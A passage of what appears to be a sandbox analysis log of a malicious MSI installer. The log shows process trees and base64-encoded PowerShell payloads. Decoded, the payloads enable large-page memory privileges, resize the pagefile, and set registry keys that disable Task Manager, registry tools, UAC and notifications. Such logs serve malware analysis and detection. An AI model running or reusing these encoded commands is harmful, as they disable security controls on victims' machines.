gACAAIAAgACYATwBiAGoAZQBjAHQAQQB0AHQAcgBpAGIAdQB0AGUAcwAsAAoAIAAgACAAIAAgACAAIAAgAEQAZQBzAGkAcgBlAGQAQQBjAGMAZQBzAHMALAAKACAAIAAgACAAIAAgACAAIABQAG8AbABpAGMAeQBIAGEAbgBkAGwAZQAKACAAIAAgACAAKQA7AAoAfQAKAAoATgBUAFMAVABBAFQAVQBTACAAUwBlAHQAUAByAGkAdgBpAGwAZQBnAGUATwBuAEEAYwBjAG8AdQBuAHQAKABMAFMAQQBfAEgAQQBOAEQATABFACAAUABvAGwAaQBjAHkASABhAG4AZABsAGUALAAgAFAAUwBJAEQAIABBAGMAYwBvAHUAbgB0AFMAaQBkACwAIABMAFAAVwBTAFQAUgAgAFAAcgBpAHYAaQBsAGUAZwBlAE4AYQBtAGUALAAgAEIATwBPAEwAIABiAEUAbgBhAGIAbABlACkACgB7AAoAIAAgACAAIABMAFMAQQBfAFUATgBJAEMATwBEAEUAXwBTAFQAUgBJAE4ARwAgAFAAcgBpAHYAaQBsAGUAZwBlAFMAdAByAGkAbgBnADsACgAKACAAIAAgACAASQBuAGkAdABMAHMAYQBTAHQAcgBpAG4AZwAoACYAUAByAGkAdgBpAGwAZQBnAGUAUwB0AHIAaQBuAGcALAAgAFAAcgBpAHYAaQBsAGUAZwBlAE4AYQBtAGUAKQA7AAoACgAgACAAIAAgAGkAZgAgACgAYgBFAG4AYQBiAGwAZQApACAAewAKACAAIAAgACAAIAAgACAAIAByAGUAdAB1AHIAbgAgAEwAcwBhAEEAZABkAEEAYwBjAG8AdQBuAHQAUgBpAGcAaAB0AHMAKAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFAAbwBsAGkAYwB5AEgAYQBuAGQAbABlACwACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABBAGMAYwBvAHUAbgB0AFMAaQBkACwACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAmAFAAcgBpAHYAaQBsAGUAZwBlAFMAdAByAGkAbgBnACwACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAxAAoAIAAgACAAIAAgACAAIAAgACkAOwAKACAAIAAgACAAfQAKACAAIAAgACAAZQBsAHMAZQAgAHsACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIABMAHMAYQBSAGUAbQBvAHYAZQBBAGMAYwBvAHUAbgB0AFIAaQBnAGgAdABzACgACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABQAG8AbABpAGMAeQBIAGEAbgBkAGwAZQAsAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAQQBjAGMAbwB1AG4AdABTAGkAZAAsAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAARgBBAEwAUwBFACwACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAmAFAAcgBpAHYAaQBsAGUAZwBlAFMAdAByAGkAbgBnACwACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAxAAoAIAAgACAAIAAgACAAIAAgACkAOwAKACAAIAAgACAAfQAKAH0ACgAKAHYAbwBpAGQAIABtAGEAaQBuACgAKQAKAHsACgAgACAAIAAgAEgAQQBOAEQATABFACAAaABUAG8AawBlAG4AIAA9ACAATgBVAEwATAA7AAoACgAgACAAIAAgAGkAZgAgACgAIQBPAHAAZQBuAFAAcgBvAGMAZQBzAHMAVABvAGsAZQBuACgARwBlAHQAQwB1AHIAcgBlAG4AdABQAHIAbwBjAGUAcwBzACgAKQAsACAAVABPAEsARQBOAF8AUQBVAEUAUgBZACwAIAAmAGgAVABvAGsAZQBuACkAKQAKACAAIAAgACAAewAKACAAIAAgACAAIAAgACAAIABhAHAAcABsAG8AZwAoAEwATwBHAF8ASQBOAEYATwAsACAAIgBPAHAAZQBuAFAAcgBvAGMAZQBzAHMAVABvAGsAZQBuACAAZgBhAGkAbABlAGQALgAgAEcAZQB0AEwAYQBzAHQARQByAHIAbwByACAAcgBlAHQAdQByAG4AZQBkADoAIAAlAGQAXABuACIALAAgAEcAZQB0AEwAYQBzAHQARQByAHIAbwByACgAKQApADsACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAAtADEAOwAKACAAIAAgACAAfQAKAAoAIAAgACAAIABEAFcATwBSAEQAIABkAHcAQgB1AGYAZgBlAHIAUwBpAHoAZQAgAD0AIAAwADsACgAKACAAIAAgACAAaQBmACAAKAAhAEcAZQB0AFQAbwBrAGUAbgBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AKABoAFQAbwBrAGUAbgAsACAAVABvAGsAZQBuAFUAcwBlAHIALAAgAE4AVQBMAEwALAAgADAALAAgACYAZAB3AEIAdQBmAGYAZQByAFMAaQB6AGUAKQAgACYAJgAKACAAIAAgACAAIAAgACAAIAAoAEcAZQB0AEwAYQBzAHQARQByAHIAbwByACgAKQAgACEAPQAgAEUAUgBSAE8AUgBfAEkATgBTAFUARgBGAEkAQwBJAEUATgBUAF8AQgBVAEYARgBFAFIAKQApAAoAIAAgACAAIAB7AAoAIAAgACAAIAAgACAAIAAgAGEAcABwAGwAbwBnACgATABPAEcAXwBJAE4ARgBPACwAIAAiAEcAZQB0AFQAbwBrAGUAbgBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AIABmAGEAaQBsAGUAZAAuACAARwBlAHQATABhAHMAdABFAHIAcgBvAHIAIAByAGUAdAB1AHIAbgBlAGQAOgAgACUAZABcAG4AIgAsACAARwBlAHQATABhAHMAdABFAHIAcgBvAHIAKAApACkAOwAKAAoAIAAgACAAIAAgACAAIAAgAEMAbABvAHMAZQBIAGEAbgBkAGwAZQAoAGgAVABvAGsAZQBuACkAOwAKACAAIAAgACAAIAAgACAAIABoAFQAbwBrAGUAbgAgAD0AIABOAFUATABMADsACgAKACAAIAAgACAAIAAgACAAIAByAGUAdAB1AHIAbgAgAC0AMQA7AAoAIAAgACAAIAB9AAoACgAgACAAIAAgAFAAVABPAEsARQBOAF8AVQBTAEUAUgAgAHAAVABvAGsAZQBuAFUAcwBlAHIAIAA9ACAAKABQAFQATwBLAEUATgBfAFUAUwBFAFIAKQAgAG0AYQBsAGwAbwBjACgAZAB3AEIAdQBmAGYAZQByAFMAaQB6AGUAKQA7AAoACgAgACAAIAAgAGkAZgAgACgAIQBHAGUAdABUAG8AawBlAG4ASQBuAGYAbwByAG0AYQB0AGkAbwBuACgACgAgACAAIAAgACAAIAAgACAAaABUAG8AawBlAG4ALAAKACAAIAAgACAAIAAgACAAIABUAG8AawBlAG4AVQBzAGUAcgAsAAoAIAAgACAAIAAgACAAIAAgAHAAVABvAGsAZQBuAFUAcwBlAHIALAAKACAAIAAgACAAIAAgACAAIABkAHcAQgB1AGYAZgBlAHIAUwBpAHoAZQAsAAoAIAAgACAAIAAgACAAIAAgACYAZAB3AEIAdQBmAGYAZQByAFMAaQB6AGUAKQApAAoAIAAgACAAIAB7AAoAIAAgACAAIAAgACAAIAAgAGEAcABwAGwAbwBnACgATABPAEcAXwBJAE4ARgBPACwAIAAiAEcAZQB0AFQAbwBrAGUAbgBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AIABmAGEAaQBsAGUAZAAuACAARwBlAHQATABhAHMAdABFAHIAcgBvAHIAIAByAGUAdAB1AHIAbgBlAGQAOgAgACUAZABcAG4AIgAsACAARwBlAHQATABhAHMAdABFAHIAcgBvAHIAKAApACkAOwAKAAoAIAAgACAAIAAgACAAIAAgAEMAbABvAHMAZQBIAGEAbgBkAGwAZQAoAGgAVABvAGsAZQBuACkAOwAKACAAIAAgACAAIAAgACAAIABoAFQAbwBrAGUAbgAgAD0AIABOAFUATABMADsACgAKACAAIAAgACAAIAAgACAAIAByAGUAdAB1AHIAbgAgAC0AMQA7AAoAIAAgACAAIAB9AAoACgAgACAAIAAgAEwAUABXAFMAVABSACAAcwB0AHIAcwBpAGQAOwAKACAAIAAgACAAQwBvAG4AdgBlAHIAdABTAGkAZABUAG8AUwB0AHIAaQBuAGcAUwBpAGQAKABwAFQAbwBrAGUAbgBVAHMAZQByAC0APgBVAHMAZQByAC4AUwBpAGQALAAgACYAcwB0AHIAcwBpAGQAKQA7AAoAIAAgACAAIABhAHAAcABsAG8AZwAoAEwATwBHAF8ASQBOAEYATwAsACAAIgBVAHMAZQByACAAUwBJAEQAOgAgACUAUwBcAG4AIgAsACAAcwB0AHIAcwBpAGQAKQA7AAoACgAgACAAIAAgAEMAbABvAHMAZQBIAGEAbgBkAGwAZQAoAGgAVABvAGsAZQBuACkAOwAKACAAIAAgACAAaABUAG8AawBlAG4AIAA9ACAATgBVAEwATAA7AAoACgAgACAAIAAgAE4AVABTAFQAQQBUAFUAUwAgAHMAdABhAHQAdQBzADsACgAgACAAIAAgAEwAUwBBAF8ASABBAE4ARABMAEUAIABwAG8AbABpAGMAeQBIAGEAbgBkAGwAZQA7AAoACgAgACAAIAAgAGkAZgAgACgAcwB0AGEAdAB1AHMAIAA9ACAATwBwAGUAbgBQAG8AbABpAGMAeQAoAE4AVQBMAEwALAAgAFAATwBMAEkAQwBZAF8AQwBSAEUAQQBUAEUAXwBBAEMAQwBPAFUATgBUACAAfAAgAFAATwBMAEkAQwBZAF8ATABPAE8ASwBVAFAAXwBOAEEATQBFAFMALAAgACYAcABvAGwAaQBjAHkASABhAG4AZABsAGUAKQApAAoAIAAgACAAIAB7AAoAIAAgACAAIAAgACAAIAAgAGEAcABwAGwAbwBnACgATABPAEcAXwBJAE4ARgBPACwAIAAiAE8AcABlAG4AUABvAGwAaQBjAHkAIAAlAGQAIgAsACAAcwB0AGEAdAB1AHMAKQA7AAoAIAAgACAAIAB9AAoACgAgACAAIAAgAGkAZgAgACgAcwB0AGEAdAB1AHMAIAA9ACAAUwBlAHQAUAByAGkAdgBpAGwAZQBnAGUATwBuAEEAYwBjAG8AdQBuAHQAKABwAG8AbABpAGMAeQBIAGEAbgBkAGwAZQAsACAAcABUAG8AawBlAG4AVQBzAGUAcgAtAD4AVQBzAGUAcgAuAFMAaQBkACwAIABTAEUAXwBMAE8AQwBLAF8ATQBFAE0ATwBSAFkAXwBOAEEATQBFACwAIABUAFIAVQBFACkAKQAKACAAIAAgACAAewAKACAAIAAgACAAIAAgACAAIABhAHAAcABsAG8AZwAoAEwATwBHAF8ASQBOAEYATwAsACAAIgBPAHAAZQBuAFAAUwBlAHQAUAByAGkAdgBpAGwAZQBnAGUATwBuAEEAYwBjAG8AdQBuAHQAbwBsAGkAYwB5ACAAJQBkACIALAAgAHMAdABhAHQAdQBzACkAOwAKACAAIAAgACAAfQAKAAoAIAAgACAAIABoAFQAbwBrAGUAbgAgAD0AIABOAFUATABMADsACgAgACAAIAAgAFQATwBLAEUATgBfAFAAUgBJAFYASQBMAEUARwBFAFMAIAB0AHAAOwAKAAoAIAAgACAAIABpAGYAIAAoACEATwBwAGUAbgBQAHIAbwBjAGUAcwBzAFQAbwBrAGUAbgAoAEcAZQB0AEMAdQByAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAoACkALAAgAFQATwBLAEUATgBfAFEAVQBFAFIAWQAgAHwAIABUAE8ASwBFAE4AXwBBAEQASgBVAFMAVABfAFAAUgBJAFYASQBMAEUARwBFAFMALAAgACYAaABUAG8AawBlAG4AKQApAAoAIAAgACAAIAB7AAoAIAAgACAAIAAgACAAIAAgAGEAcABwAGwAbwBnACgATABPAEcAXwBJAE4ARgBPACwAIAAiAE8AcABlAG4AUAByAG8AYwBlAHMAcwBUAG8AawBlAG4AIAAjADIAIABmAGEAaQBsAGUAZAAuACAARwBlAHQATABhAHMAdABFAHIAcgBvAHIAIAByAGUAdAB1AHIAbgBlAGQAOgAgACUAZABcAG4AIgAsACAARwBlAHQATABhAHMAdABFAHIAcgBvAHIAKAApACkAOwAKACAAIAAgACAAIAAgACAAIAByAGUAdAB1AHIAbgAgAC0AMQA7AAoAIAAgACAAIAB9AAoACgAgACAAIAAgAHQAcAAuAFAAcgBpAHYAaQBsAGUAZwBlAEMAbwB1AG4AdAAgAD0AIAAxADsACgAgACAAIAAgAHQAcAAuAFAAcgBpAHYAaQBsAGUAZwBlAHMAWwAwAF0ALgBBAHQAdAByAGkAYgB1AHQAZQBzACAAPQAgAFMARQBfAFAAUgBJAFYASQBMAEUARwBFAF8ARQBOAEEAQgBMAEUARAA7AAoACgAgACAAIAAgAGkAZgAgACgAIQBMAG8AbwBrAHUAcABQAHIAaQB2AGkAbABlAGcAZQBWAGEAbAB1AGUAKABOAFUATABMACwAIABTAEUAXwBMAE8AQwBLAF8ATQBFAE0ATwBSAFkAXwBOAEEATQBFACwAIAAmAHQAcAAuAFAAcgBpAHYAaQBsAGUAZwBlAHMAWwAwAF0ALgBMAHUAaQBkACkAKQAKACAAIAAgACAAewAKACAAIAAgACAAIAAgACAAIABhAHAAcABsAG8AZwAoAEwATwBHAF8ASQBOAEYATwAsACAAIgBMAG8AbwBrAHUAcABQAHIAaQB2AGkAbABlAGcAZQBWAGEAbAB1AGUAIABmAGEAaQBsAGUAZAAuACAARwBlAHQATABhAHMAdABFAHIAcgBvAHIAIAByAGUAdAB1AHIAbgBlAGQAOgAgACUAZABcAG4AIgAsACAARwBlAHQATABhAHMAdABFAHIAcgBvAHIAKAApACkAOwAKACAAIAAgACAAIAAgACAAIAByAGUAdAB1AHIAbgAgAC0AMQA7AAoAIAAgACAAIAB9AAoACgAgACAAIAAgAEIATwBPAEwAIAByAGUAcwB1AGwAdAAgAD0AIABBAGQAagB1AHMAdABUAG8AawBlAG4AUAByAGkAdgBpAGwAZQBnAGUAcwAoAGgAVABvAGsAZQBuACwAIABGAEEATABTAEUALAAgACYAdABwACwAIAAwACwAIAAoAFAAVABPAEsARQBOAF8AUABSAEkAVgBJAEwARQBHAEUAUwApAE4AVQBMAEwALAAgADAAKQA7AAoAIAAgACAAIABEAFcATwBSAEQAIABlAHIAcgBvAHIAIAA9ACAARwBlAHQATABhAHMAdABFAHIAcgBvAHIAKAApADsACgAKACAAIAAgACAAaQBmACAAKAAhAHIAZQBzAHUAbAB0ACAAfAB8ACAAKABlAHIAcgBvAHIAIAAhAD0AIABFAFIAUgBPAFIAXwBTAFUAQwBDAEUAUwBTACkAKQAKACAAIAAgACAAewAKACAAIAAgACAAIAAgACAAIABhAHAAcABsAG8AZwAoAEwATwBHAF8ASQBOAEYATwAsACAAIgBBAGQAagB1AHMAdABUAG8AawBlAG4AUAByAGkAdgBpAGwAZQBnAGUAcwAgAGYAYQBpAGwAZQBkAC4AIABHAGUAdABMAGEAcwB0AEUAcgByAG8AcgAgAHIAZQB0AHUAcgBuAGUAZAA6ACAAJQBkAFwAbgAiACwAIABlAHIAcgBvAHIAKQA7AAoAIAAgACAAIAAgACAAIAAgAHIAZQB0AHUAcgBuACAALQAxADsACgAgACAAIAAgAH0ACgAKACAAIAAgACAAQwBsAG8AcwBlAEgAYQBuAGQAbABlACgAaABUAG8AawBlAG4AKQA7AAoAIAAgACAAIABoAFQAbwBrAGUAbgAgAD0AIABOAFUATABMADsACgAKACAAIAAgACAAUwBJAFoARQBfAFQAIABwAGEAZwBlAFMAaQB6AGUAIAA9ACAARwBlAHQATABhAHIAZwBlAFAAYQBnAGUATQBpAG4AaQBtAHUAbQAoACkAOwAKAAoAIAAgACAAIABjAGgAYQByACAAKgBsAGEAcgBnAGUAQgB1AGYAZgBlAHIAIAA9ACAAVgBpAHIAdAB1AGEAbABBAGwAbABvAGMAKABOAFUATABMACwAIABwAGEAZwBlAFMAaQB6AGUAIAAqACAATgBfAFAAQQBHAEUAUwBfAFQATwBfAEEATABMAE8AQwAsACAATQBFAE0AXwBSAEUAUwBFAFIAVgBFACAAfAAgAE0ARQBNAF8AQwBPAE0ATQBJAFQAIAB8ACAATQBFAE0AXwBMAEEAUgBHAEUAXwBQAEEARwBFAFMALAAgAFAAQQBHAEUAXwBSAEUAQQBEAFcAUgBJAFQARQApADsACgAgACAAIAAgAGkAZgAgACgAbABhAHIAZwBlAEIAdQBmAGYAZQByACkACgAgACAAIAAgAHsACgAgACAAIAAgACAAIAAgACAAYQBwAHAAbABvAGcAKABMAE8ARwBfAEkATgBGAE8ALAAgACIAVgBpAHIAdAB1AGEAbABBAGwAbABvAGMAIABmAGEAaQBsAGUAZAAsACAAZQByAHIAbwByACAAMAB4ACUAeAAiACwAIABHAGUAdABMAGEAcwB0AEUAcgByAG8AcgAoACkAKQA7AAoAIAAgACAAIAB9AAoAfQA=
                                                                      4⤵
                                                                        PID:1036
                                                                    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                      -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\pss574D.ps1" -propFile "C:\Users\Admin\AppData\Local\Temp\msi570C.txt" -scriptFile "C:\Users\Admin\AppData\Local\Temp\scr574B.ps1" -scriptArgsFile "C:\Users\Admin\AppData\Local\Temp\scr574C.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue."
                                                                      3⤵
                                                                        PID:688
                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -enc YwBoAGMAcAAgADEAMgA1ADIACgAkAFAAcgBvAGcAcgBlAHMAcwBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnAAoACgBTAGUAdAAtAEUAeABlAGMAdQB0AGkAbwBuAFAAbwBsAGkAYwB5ACAALQBTAGMAbwBwAGUAIABDAHUAcgByAGUAbgB0AFUAcwBlAHIAIABCAHkAcABhAHMAcwAgAC0ARgBvAHIAYwBlAAoAUwBlAHQALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAC0AUwBjAG8AcABlACAATABvAGMAYQBsAE0AYQBjAGgAaQBuAGUAIABCAHkAcABhAHMAcwAgAC0ARgBvAHIAYwBlAAoACgAkAHAAYQBnAGUAZgBpAGwAZQAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AQwBvAG0AcAB1AHQAZQByAFMAeQBzAHQAZQBtACAALQBFAG4AYQBiAGwAZQBBAGwAbABQAHIAaQB2AGkAbABlAGcAZQBzAAoAJABwAGEAZwBlAGYAaQBsAGUALgBBAHUAdABvAG0AYQB0AGkAYwBNAGEAbgBhAGcAZQBkAFAAYQBnAGUAZgBpAGwAZQAgAD0AIAAkAGYAYQBsAHMAZQAKACQAcABhAGcAZQBmAGkAbABlAC4AcAB1AHQAKAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAAKAAoAJABwAGEAZwBlAGYAaQBsAGUAcwBlAHQAIAA9ACAARwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAHAAYQBnAGUAZgBpAGwAZQBzAGUAdAB0AGkAbgBnAAoAJABwAGEAZwBlAGYAaQBsAGUAcwBlAHQALgBJAG4AaQB0AGkAYQBsAFMAaQB6AGUAIAA9ACAANAAwADkANgAKACQAcABhAGcAZQBmAGkAbABlAHMAZQB0AC4ATQBhAHgAaQBtAHUAbQBTAGkAegBlACAAPQAgADIAMAA0ADgAMAAKACQAcABhAGcAZQBmAGkAbABlAHMAZQB0AC4AUAB1AHQAKAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA=
                                                                          4⤵
                                                                            PID:2444
                                                                            • C:\Windows\system32\chcp.com
                                                                              "C:\Windows\system32\chcp.com" 1252
                                                                              5⤵
                                                                                PID:2068
                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                            -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\pss62D7.ps1" -propFile "C:\Users\Admin\AppData\Local\Temp\msi62D4.txt" -scriptFile "C:\Users\Admin\AppData\Local\Temp\scr62D5.ps1" -scriptArgsFile "C:\Users\Admin\AppData\Local\Temp\scr62D6.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue."
                                                                            3⤵
                                                                              PID:2244
                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -enc YwBoAGMAcAAgADEAMgA1ADIACgAkAFAAcgBvAGcAcgBlAHMAcwBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnAAoACgBTAGUAdAAtAEUAeABlAGMAdQB0AGkAbwBuAFAAbwBsAGkAYwB5ACAALQBTAGMAbwBwAGUAIABDAHUAcgByAGUAbgB0AFUAcwBlAHIAIABCAHkAcABhAHMAcwAgAC0ARgBvAHIAYwBlAAoAUwBlAHQALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAC0AUwBjAG8AcABlACAATABvAGMAYQBsAE0AYQBjAGgAaQBuAGUAIABCAHkAcABhAHMAcwAgAC0ARgBvAHIAYwBlAAoACgBOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAiAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAiACAALQBOAGEAbQBlACAAIgBFAHgAcABsAG8AcgBlAHIAIgAgAC0ARgBvAHIAYwBlAAoATgBlAHcALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgACIASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwAUABvAGwAaQBjAGkAZQBzAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwARQB4AHAAbABvAHIAZQByACIAIAAtAE4AYQBtAGUAIAAiAEQAaQBzAGEAYgBsAGUATgBvAHQAaQBmAGkAYwBhAHQAaQBvAG4AQwBlAG4AdABlAHIAIgAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIAAiAEQAVwBvAHIAZAAiACAALQBWAGEAbAB1AGUAIAAxACAALQBGAG8AcgBjAGUACgBTAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAIgBIAEsAQwBVADoAXABTAG8AZgB0AHcAYQByAGUAXABQAG8AbABpAGMAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABFAHgAcABsAG8AcgBlAHIAIgAgAC0ATgBhAG0AZQAgACIARABpAHMAYQBiAGwAZQBOAG8AdABpAGYAaQBjAGEAdABpAG8AbgBDAGUAbgB0AGUAcgAiACAALQBUAHkAcABlACAARABXAG8AcgBkACAALQBWAGEAbAB1AGUAIAAxACAALQBGAG8AcgBjAGUACgBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAIgBIAEsAQwBVADoAXABTAG8AZgB0AHcAYQByAGUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABQAHUAcwBoAE4AbwB0AGkAZgBpAGMAYQB0AGkAbwBuAHMAIgAgAC0ATgBhAG0AZQAgACIAVABvAGEAcwB0AEUAbgBhAGIAbABlAGQAIgAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIAAiAEQAVwBvAHIAZAAiACAALQBWAGEAbAB1AGUAIAAwACAALQBGAG8AcgBjAGUACgBTAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAIgBIAEsAQwBVADoAXABTAG8AZgB0AHcAYQByAGUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABQAHUAcwBoAE4AbwB0AGkAZgBpAGMAYQB0AGkAbwBuAHMAIgAgAC0ATgBhAG0AZQAgACIAVABvAGEAcwB0AEUAbgBhAGIAbABlAGQAIgAgAC0AVAB5AHAAZQAgAEQAVwBvAHIAZAAgAC0AVgBhAGwAdQBlACAAMAAgAC0ARgBvAHIAYwBlAAoATgBlAHcALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgACIASABLAEwATQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUABvAGwAaQBjAGkAZQBzAFwAUwB5AHMAdABlAG0AIgAgAC0ATgBhAG0AZQAgACIARABpAHMAYQBiAGwAZQBUAGEAcwBrAE0AZwByACIAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAAIgBEAFcAbwByAGQAIgAgAC0AVgBhAGwAdQBlACAAMQAgAC0ARgBvAHIAYwBlAAoAUwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgACIASABLAEwATQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUABvAGwAaQBjAGkAZQBzAFwAUwB5AHMAdABlAG0AIgAgAC0ATgBhAG0AZQAgACIARABpAHMAYQBiAGwAZQBUAGEAcwBrAE0AZwByACIAIAAtAFQAeQBwAGUAIABEAFcAbwByAGQAIAAtAFYAYQBsAHUAZQAgADEAIAAtAEYAbwByAGMAZQAKAE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAiAEgASwBMAE0AOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFAAbwBsAGkAYwBpAGUAcwBcAFMAeQBzAHQAZQBtACIAIAAtAE4AYQBtAGUAIAAiAEUAbgBhAGIAbABlAEwAVQBBACIAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAG8AcgBkACAALQBWAGEAbAB1AGUAIAAwACAALQBGAG8AcgBjAGUACgBTAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAIgBIAEsATABNADoAXABTAG8AZgB0AHcAYQByAGUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABQAG8AbABpAGMAaQBlAHMAXABTAHkAcwB0AGUAbQAiACAALQBOAGEAbQBlACAAIgBFAG4AYQBiAGwAZQBMAFUAQQAiACAALQBUAHkAcABlACAARABXAG8AcgBkACAALQBWAGEAbAB1AGUAIAAwACAALQBGAG8AcgBjAGUACgBOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAiAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFAAbwBsAGkAYwBpAGUAcwAiACAALQBOAGEAbQBlACAAIgBTAHkAcwB0AGUAbQAiACAALQBGAG8AcgBjAGUACgBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAIgBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABQAG8AbABpAGMAaQBlAHMAXABTAHkAcwB0AGUAbQAiACAALQBOAGEAbQBlACAAIgBEAGkAcwBhAGIAbABlAFIAZQBnAGkAcwB0AHIAeQBUAG8AbwBsAHMAIgAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIAAiAEQAVwBvAHIAZAAiACAALQBWAGEAbAB1AGUAIAAxACAALQBGAG8AcgBjAGUACgBTAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAIgBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABQAG8AbABpAGMAaQBlAHMAXABTAHkAcwB0AGUAbQAiACAALQBOAGEAbQBlACAAIgBEAGkAcwBhAGIAbABlAFIAZQBnAGkAcwB0AHIAeQBUAG8AbwBsAHMAIgAgAC0AVAB5AHAAZQAgAEQAVwBvAHIAZAAgAC0AVgBhAGwAdQBlACAAMQAgAC0ARgBvAHIAYwBlAAoATgBlAHcALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgACIASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUABvAGwAaQBjAGkAZQBzAFwAUwB5AHMAdABlAG0AIgAgAC0ATgBhAG0AZQAgACIARABpAHMAYQBiAGwAZQBSAGUAZwBpAHMAdAByAHkAVABvAG8AbABzACIAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAAIgBEAFcAbwByAGQAIgAgAC0AVgBhAGwAdQBlACAAMQAgAC0ARgBvAHIAYwBlAAoAUwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgACIASABLAEwATQA6AF